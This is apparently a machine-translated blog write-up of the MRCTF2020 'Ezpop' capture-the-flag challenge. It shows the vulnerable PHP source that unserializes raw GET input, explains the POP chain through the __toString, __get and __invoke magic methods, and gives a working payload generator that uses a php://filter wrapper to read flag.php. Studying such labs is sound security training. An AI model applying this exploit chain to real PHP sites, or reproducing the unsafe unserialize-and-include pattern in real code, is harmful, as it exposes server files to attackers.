当前位置:网站首页>[MRCTF2020]Ezpop 1
[MRCTF2020]Ezpop 1
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
I think the Internet is all about this problem and pop chain of , I started to write a relatively complete about this part last week PHP Deserialization summary , It is expected to be released this week , So my analysis of this topic is completely based on the premise of not knowing this knowledge
Open the web link , Give us the code directly , This is not the source code audit , Direct dry pulling :
Here I suggest you take a look at PHP edition , Because some vulnerabilities are valid under certain versions
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); # utilize include Function } public function __invoke(){ // Fires when an attempt is made to call an object as a function $this->append($this->var); # The second step : When Test When calling you, you will execute and then include flag.php file } } class Show{ public $source; public $str; public function __construct($file='index.php'){ // Triggered when an object is created $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; # The third step : If pop->source Medium source It's a Show class , Then it will execute __tostring class , This is because of the echo 'Welcome to '.$this->source."<br>"; Isn't it called here } public function __wakeup(){ // perform unserialize() when , This function will be called first if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ // Triggered when an object is created $this->p = array(); } public function __get($key){ # When we try to get an unreachable property ( such as private), Class will automatically call __get function , Or another attribute that is not it $function = $this->p; return $function(); # The first step is to use this call Modifier This class } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); // Deserialization } else{ $a=new Show; highlight_file(__FILE__); } ?>For the content of code audit , I have written it in the code
Summarize the ideas after code audit :


Now the idea is , Yes payload Design :
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; } class Test{ public $p ; } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p=new Modifier(); echo urlencode(serialize($a)); ?>Some people may wonder why url code , This is because Modifier The property of is protected You must know about PHP Of proteced and private There are some special codes after serialization of , To prevent the impact of this , So we code it
Access page :

Then proceed Decode it
summary
- You must be patient when auditing code
边栏推荐
- [pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation
- Digital transformation driven by enterprise architecture!
- "Basic knowledge of PHP" implement mathematical operations in PHP
- Usage scenarios for automated testing
- Development of three database general SQL code based on PG Oracle and MySQL
- 瑞芯微RK3399-I2C4挂载EEPROM的修改案例
- What is the real HTAP? (1) Background article
- Bash: sudo: command not found in container
- Data extraction 1
- What are the software tuning methods? Let's see what Feiteng technology experts say about dragon lizard technology
猜你喜欢

The seta 2020 international academic conference will be held soon. Welcome to attend!

C commissioned use cases

Sword finger offer 58 - I. flip word order
![[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation](/img/44/52c7dc6871fd43223eadfd394e159e.png)
[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation

Idea remote debugging

信息化项目风险控制与应用

【目标检测】YOLOv6理论解读+实践测试VisDrone数据集

SETTA 2020 国际学术会议即将召开,欢迎大家参加!
Development of three database general SQL code based on PG Oracle and MySQL

Data extraction 1
随机推荐
How to log in multiple wechat on the computer
CommonTitleBar hide left right
【目标检测】YOLOv6理论解读+实践测试VisDrone数据集
containerd拉取私库镜像失败(kubelet)
Is redis really slowing down?
Demo:pa30 Bank Country Code default CN enhancement
这次龙蜥展区玩的新花样,看看是谁的 DNA 动了?
DEMO:ST05 找文本ID 信息
数据提取2
Harbor正确密码登录不上去
数据提取1
Risk control and application of informatization project
Shell Scripts相关
Teach you to build a nail warning robot hand in hand
Qt Creator代码风格插件Beautifier
mqtt指令收发请求订阅
ERP production operation control Huaxia
Stored procedures and functions
二零二零年终总结
Solid smart contract development - 3.3-solid syntax control structure